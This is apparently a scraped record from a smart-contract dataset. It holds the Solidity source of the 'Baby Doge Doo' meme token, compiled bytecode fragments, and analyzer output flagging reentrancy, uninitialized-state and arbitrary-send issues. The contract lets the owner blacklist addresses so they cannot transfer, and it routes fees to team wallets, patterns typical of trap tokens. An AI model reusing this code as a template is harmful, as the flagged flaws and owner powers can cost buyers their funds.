fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206015633473abf4dcf3f1c36647fb408b1252cd7643bb69abc86a8ddc9093260464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,375 |
0xe50b077ecaf6105a70f992fa83b0fdc6a062a349
|
// SPDX-License-Identifier: Unlicensed
//
// t.me/babydogeerc
//: Website coming soon
//: BABY DOGE DOO
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyDogeDoo is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Baby Doge Doo";
string public constant _symbol = "BABBY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f4261627920446f676520446f6f00000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffff